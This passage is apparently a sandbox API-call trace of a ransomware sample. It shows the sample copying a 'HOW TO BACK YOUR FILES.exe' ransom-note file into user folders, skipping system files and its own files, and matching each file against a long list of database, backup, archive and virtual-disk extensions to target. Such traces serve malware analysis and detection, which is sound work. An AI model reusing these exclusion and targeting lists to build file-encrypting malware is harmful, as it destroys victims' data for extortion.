	[0086.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0086.462] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm") returned 67
	[0086.462] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm"
	[0086.462] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.462] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.463] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.463] GetLastError () returned 0x0
	[0086.463] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.463] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.463] CloseHandle (hObject=0x10c) returned 1
	[0086.464] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.464] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.464] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd4995d0, ftCreationTime.dwHighDateTime=0x1d4c867, ftLastAccessTime.dwLowDateTime=0x3013b0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3013b0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.464] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.464] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.464] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.464] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd4995d0, ftCreationTime.dwHighDateTime=0x1d4c867, ftLastAccessTime.dwLowDateTime=0x3013b0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3013b0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.464] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.464] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.464] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.464] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.464] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b48ec0, ftCreationTime.dwHighDateTime=0x1d4c709, ftLastAccessTime.dwLowDateTime=0x7102a9d0, ftLastAccessTime.dwHighDateTime=0x1d4ce81, ftLastWriteTime.dwLowDateTime=0x7102a9d0, ftLastWriteTime.dwHighDateTime=0x1d4ce81, nFileSizeHigh=0x0, nFileSizeLow=0x9f9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cgi3f5aHjv.mkv", cAlternateFileName="CGI3F5~1.MKV")) returned 1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="Apollon865.txt.exe") returned 1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2=".") returned 1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="..") returned 1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="windows") returned -1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="bootmgr") returned 1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="temp") returned -1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="pagefile.sys") returned -1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="boot") returned 1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="ids.txt") returned -1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="ntuser.dat") returned -1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="perflogs") returned -1
	[0086.464] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2="MSBuild") returned -1
	[0086.464] lstrlenW (lpString="cgi3f5aHjv.mkv") returned 14
	[0086.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\*") returned 69
	[0086.464] lstrcpyW (in: lpString1=0x119e690, lpString2="cgi3f5aHjv.mkv" | out: lpString1="cgi3f5aHjv.mkv") returned="cgi3f5aHjv.mkv"
	[0086.465] lstrlenW (lpString="cgi3f5aHjv.mkv") returned 14
	[0086.465] lstrlenW (lpString="Apollon865") returned 10
	[0086.465] lstrcmpiW (lpString1="f5aHjv.mkv", lpString2="Apollon865") returned 1
	[0086.465] lstrlenW (lpString=".dll") returned 4
	[0086.465] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2=".dll") returned 1
	[0086.465] lstrlenW (lpString=".lnk") returned 4
	[0086.465] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2=".lnk") returned 1
	[0086.465] lstrlenW (lpString=".ini") returned 4
	[0086.465] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2=".ini") returned 1
	[0086.465] lstrlenW (lpString=".sys") returned 4
	[0086.465] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2=".sys") returned 1
	[0086.465] lstrlenW (lpString="cgi3f5aHjv.mkv") returned 14
	[0086.465] lstrlenW (lpString="bak") returned 3
	[0086.465] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1
	[0086.465] lstrlenW (lpString="ba_") returned 3
	[0086.465] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1
	[0086.465] lstrlenW (lpString="dbb") returned 3
	[0086.465] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1
	[0086.465] lstrlenW (lpString="vmdk") returned 4
	[0086.465] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1
	[0086.465] lstrlenW (lpString="rar") returned 3
	[0086.465] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1
	[0086.465] lstrlenW (lpString="zip") returned 3
	[0086.465] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1
	[0086.465] lstrlenW (lpString="tgz") returned 3
	[0086.465] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1
	[0086.465] lstrlenW (lpString="vbox") returned 4
	[0086.465] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1
	[0086.465] lstrlenW (lpString="vdi") returned 3
	[0086.465] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1
	[0086.465] lstrlenW (lpString="vhd") returned 3
	[0086.465] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1
	[0086.465] lstrlenW (lpString="vhdx") returned 4
	[0086.465] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1
	[0086.465] lstrlenW (lpString="avhd") returned 4
	[0086.465] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1
	[0086.465] lstrlenW (lpString="db") returned 2
	[0086.466] lstrcmpiW (lpString1="kv", lpString2="db") returned 1
	[0086.466] lstrlenW (lpString="db2") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1
	[0086.466] lstrlenW (lpString="db3") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1
	[0086.466] lstrlenW (lpString="dbf") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1
	[0086.466] lstrlenW (lpString="mdf") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1
	[0086.466] lstrlenW (lpString="mdb") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1
	[0086.466] lstrlenW (lpString="sql") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1
	[0086.466] lstrlenW (lpString="sqlite") returned 6
	[0086.466] lstrcmpiW (lpString1="jv.mkv", lpString2="sqlite") returned -1
	[0086.466] lstrlenW (lpString="sqlite3") returned 7
	[0086.466] lstrcmpiW (lpString1="Hjv.mkv", lpString2="sqlite3") returned -1
	[0086.466] lstrlenW (lpString="sqlitedb") returned 8
	[0086.466] lstrcmpiW (lpString1="aHjv.mkv", lpString2="sqlitedb") returned -1
	[0086.466] lstrlenW (lpString="xml") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1
	[0086.466] lstrlenW (lpString="$er") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1
	[0086.466] lstrlenW (lpString="4dd") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1
	[0086.466] lstrlenW (lpString="4dl") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1
	[0086.466] lstrlenW (lpString="^^^") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1
	[0086.466] lstrlenW (lpString="abs") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1
	[0086.466] lstrlenW (lpString="abx") returned 3
	[0086.466] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1
	[0086.466] lstrlenW (lpString="accdb") returned 5
	[0086.466] lstrcmpiW (lpString1="v.mkv", lpString2="accdb") returned 1
	[0086.466] lstrlenW (lpString="accdc") returned 5
	[0086.466] lstrcmpiW (lpString1="v.mkv", lpString2="accdc") returned 1
	[0086.467] lstrlenW (lpString="accde") returned 5
	[0086.467] lstrcmpiW (lpString1="v.mkv", lpString2="accde") returned 1
	[0086.467] lstrlenW (lpString="accdr") returned 5
	[0086.467] lstrcmpiW (lpString1="v.mkv", lpString2="accdr") returned 1
	[0086.467] lstrlenW (lpString="accdt") returned 5
	[0086.467] lstrcmpiW (lpString1="v.mkv", lpString2="accdt") returned 1
	[0086.467] lstrlenW (lpString="accdw") returned 5
	[0086.467] lstrcmpiW (lpString1="v.mkv", lpString2="accdw") returned 1
	[0086.467] lstrlenW (lpString="accft") returned 5
	[0086.467] lstrcmpiW (lpString1="v.mkv", lpString2="accft") returned 1
	[0086.467] lstrlenW (lpString="adb") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.467] lstrlenW (lpString="adb") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.467] lstrlenW (lpString="ade") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1
	[0086.467] lstrlenW (lpString="adf") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1
	[0086.467] lstrlenW (lpString="adn") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1
	[0086.467] lstrlenW (lpString="adp") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1
	[0086.467] lstrlenW (lpString="alf") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1
	[0086.467] lstrlenW (lpString="ask") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1
	[0086.467] lstrlenW (lpString="btr") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1
	[0086.467] lstrlenW (lpString="cat") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1
	[0086.467] lstrlenW (lpString="cdb") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1
	[0086.467] lstrlenW (lpString="ckp") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1
	[0086.467] lstrlenW (lpString="cma") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1
	[0086.467] lstrlenW (lpString="cpd") returned 3
	[0086.467] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1
	[0086.468] lstrlenW (lpString="dacpac") returned 6
	[0086.468] lstrcmpiW (lpString1="jv.mkv", lpString2="dacpac") returned 1
	[0086.468] lstrlenW (lpString="dad") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1
	[0086.468] lstrlenW (lpString="dadiagrams") returned 10
	[0086.468] lstrcmpiW (lpString1="f5aHjv.mkv", lpString2="dadiagrams") returned 1
	[0086.468] lstrlenW (lpString="daschema") returned 8
	[0086.468] lstrcmpiW (lpString1="aHjv.mkv", lpString2="daschema") returned -1
	[0086.468] lstrlenW (lpString="db-journal") returned 10
	[0086.468] lstrcmpiW (lpString1="f5aHjv.mkv", lpString2="db-journal") returned 1
	[0086.468] lstrlenW (lpString="db-shm") returned 6
	[0086.468] lstrcmpiW (lpString1="jv.mkv", lpString2="db-shm") returned 1
	[0086.468] lstrlenW (lpString="db-wal") returned 6
	[0086.468] lstrcmpiW (lpString1="jv.mkv", lpString2="db-wal") returned 1
	[0086.468] lstrlenW (lpString="dbc") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1
	[0086.468] lstrlenW (lpString="dbs") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1
	[0086.468] lstrlenW (lpString="dbt") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1
	[0086.468] lstrlenW (lpString="dbv") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1
	[0086.468] lstrlenW (lpString="dbx") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1
	[0086.468] lstrlenW (lpString="dcb") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1
	[0086.468] lstrlenW (lpString="dct") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1
	[0086.468] lstrlenW (lpString="dcx") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1
	[0086.468] lstrlenW (lpString="ddl") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1
	[0086.468] lstrlenW (lpString="dlis") returned 4
	[0086.468] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1
	[0086.468] lstrlenW (lpString="dp1") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1
	[0086.468] lstrlenW (lpString="dqy") returned 3
	[0086.468] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1
	[0086.469] lstrlenW (lpString="dsk") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1
	[0086.469] lstrlenW (lpString="dsn") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1
	[0086.469] lstrlenW (lpString="dtsx") returned 4
	[0086.469] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1
	[0086.469] lstrlenW (lpString="dxl") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1
	[0086.469] lstrlenW (lpString="eco") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1
	[0086.469] lstrlenW (lpString="ecx") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1
	[0086.469] lstrlenW (lpString="edb") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1
	[0086.469] lstrlenW (lpString="epim") returned 4
	[0086.469] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1
	[0086.469] lstrlenW (lpString="fcd") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1
	[0086.469] lstrlenW (lpString="fdb") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1
	[0086.469] lstrlenW (lpString="fic") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1
	[0086.469] lstrlenW (lpString="flexolibrary") returned 12
	[0086.469] lstrcmpiW (lpString1="i3f5aHjv.mkv", lpString2="flexolibrary") returned 1
	[0086.469] lstrlenW (lpString="fm5") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1
	[0086.469] lstrlenW (lpString="fmp") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1
	[0086.469] lstrlenW (lpString="fmp12") returned 5
	[0086.469] lstrcmpiW (lpString1="v.mkv", lpString2="fmp12") returned 1
	[0086.469] lstrlenW (lpString="fmpsl") returned 5
	[0086.469] lstrcmpiW (lpString1="v.mkv", lpString2="fmpsl") returned 1
	[0086.469] lstrlenW (lpString="fol") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1
	[0086.469] lstrlenW (lpString="fp3") returned 3
	[0086.469] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1
	[0086.469] lstrlenW (lpString="fp4") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1
	[0086.470] lstrlenW (lpString="fp5") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1
	[0086.470] lstrlenW (lpString="fp7") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1
	[0086.470] lstrlenW (lpString="fpt") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1
	[0086.470] lstrlenW (lpString="frm") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1
	[0086.470] lstrlenW (lpString="gdb") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.470] lstrlenW (lpString="gdb") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.470] lstrlenW (lpString="grdb") returned 4
	[0086.470] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1
	[0086.470] lstrlenW (lpString="gwi") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1
	[0086.470] lstrlenW (lpString="hdb") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1
	[0086.470] lstrlenW (lpString="his") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1
	[0086.470] lstrlenW (lpString="ib") returned 2
	[0086.470] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1
	[0086.470] lstrlenW (lpString="idb") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1
	[0086.470] lstrlenW (lpString="ihx") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1
	[0086.470] lstrlenW (lpString="itdb") returned 4
	[0086.470] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1
	[0086.470] lstrlenW (lpString="itw") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1
	[0086.470] lstrlenW (lpString="jet") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1
	[0086.470] lstrlenW (lpString="jtx") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1
	[0086.470] lstrlenW (lpString="kdb") returned 3
	[0086.470] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1
	[0086.470] lstrlenW (lpString="kexi") returned 4
	[0086.471] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1
	[0086.471] lstrlenW (lpString="kexic") returned 5
	[0086.471] lstrcmpiW (lpString1="v.mkv", lpString2="kexic") returned 1
	[0086.471] lstrlenW (lpString="kexis") returned 5
	[0086.471] lstrcmpiW (lpString1="v.mkv", lpString2="kexis") returned 1
	[0086.471] lstrlenW (lpString="lgc") returned 3
	[0086.471] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1
	[0086.471] lstrlenW (lpString="lwx") returned 3
	[0086.471] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1
	[0086.471] lstrlenW (lpString="maf") returned 3
	[0086.471] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1
	[0086.471] lstrlenW (lpString="maq") returned 3
	[0086.471] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1
	[0086.471] lstrlenW (lpString="mar") returned 3
	[0086.471] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1
	[0086.471] lstrlenW (lpString="marshal") returned 7
	[0086.471] lstrcmpiW (lpString1="Hjv.mkv", lpString2="marshal") returned -1
	[0086.471] lstrlenW (lpString="mas") returned 3
	[0086.471] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1
	[0086.471] lstrlenW (lpString="mav") returned 3
	[0086.471] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1
	[0086.471] lstrlenW (lpString="maw") returned 3
	[0086.471] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1
	[0086.471] lstrlenW (lpString="mdbhtml") returned 7
	[0086.471] lstrcmpiW (lpString1="Hjv.mkv", lpString2="mdbhtml") returned -1
	[0086.471] lstrlenW (lpString="mdn") returned 3
	[0086.471] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1
	[0086.471] lstrlenW (lpString="mdt") returned 3
	[0086.471] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1
	[0086.471] lstrlenW (lpString="mfd") returned 3
	[0086.471] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1
	[0086.472] lstrlenW (lpString="mpd") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1
	[0086.472] lstrlenW (lpString="mrg") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1
	[0086.472] lstrlenW (lpString="mud") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1
	[0086.472] lstrlenW (lpString="mwb") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1
	[0086.472] lstrlenW (lpString="myd") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1
	[0086.472] lstrlenW (lpString="ndf") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1
	[0086.472] lstrlenW (lpString="nnt") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1
	[0086.472] lstrlenW (lpString="nrmlib") returned 6
	[0086.472] lstrcmpiW (lpString1="jv.mkv", lpString2="nrmlib") returned -1
	[0086.472] lstrlenW (lpString="ns2") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1
	[0086.472] lstrlenW (lpString="ns3") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1
	[0086.472] lstrlenW (lpString="ns4") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1
	[0086.472] lstrlenW (lpString="nsf") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1
	[0086.472] lstrlenW (lpString="nv") returned 2
	[0086.472] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1
	[0086.472] lstrlenW (lpString="nv2") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1
	[0086.472] lstrlenW (lpString="nwdb") returned 4
	[0086.472] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1
	[0086.472] lstrlenW (lpString="nyf") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1
	[0086.472] lstrlenW (lpString="odb") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.472] lstrlenW (lpString="odb") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.472] lstrlenW (lpString="oqy") returned 3
	[0086.472] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1
	[0086.473] lstrlenW (lpString="ora") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1
	[0086.473] lstrlenW (lpString="orx") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1
	[0086.473] lstrlenW (lpString="owc") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1
	[0086.473] lstrlenW (lpString="p96") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1
	[0086.473] lstrlenW (lpString="p97") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1
	[0086.473] lstrlenW (lpString="pan") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1
	[0086.473] lstrlenW (lpString="pdb") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1
	[0086.473] lstrlenW (lpString="pdm") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1
	[0086.473] lstrlenW (lpString="pnz") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1
	[0086.473] lstrlenW (lpString="qry") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1
	[0086.473] lstrlenW (lpString="qvd") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1
	[0086.473] lstrlenW (lpString="rbf") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1
	[0086.473] lstrlenW (lpString="rctd") returned 4
	[0086.473] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1
	[0086.473] lstrlenW (lpString="rod") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1
	[0086.473] lstrlenW (lpString="rodx") returned 4
	[0086.473] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1
	[0086.473] lstrlenW (lpString="rpd") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1
	[0086.473] lstrlenW (lpString="rsd") returned 3
	[0086.473] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1
	[0086.473] lstrlenW (lpString="sas7bdat") returned 8
	[0086.473] lstrcmpiW (lpString1="aHjv.mkv", lpString2="sas7bdat") returned -1
	[0086.473] lstrlenW (lpString="sbf") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1
	[0086.474] lstrlenW (lpString="scx") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1
	[0086.474] lstrlenW (lpString="sdb") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1
	[0086.474] lstrlenW (lpString="sdc") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1
	[0086.474] lstrlenW (lpString="sdf") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1
	[0086.474] lstrlenW (lpString="sis") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1
	[0086.474] lstrlenW (lpString="spq") returned 3
	[0086.474] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1
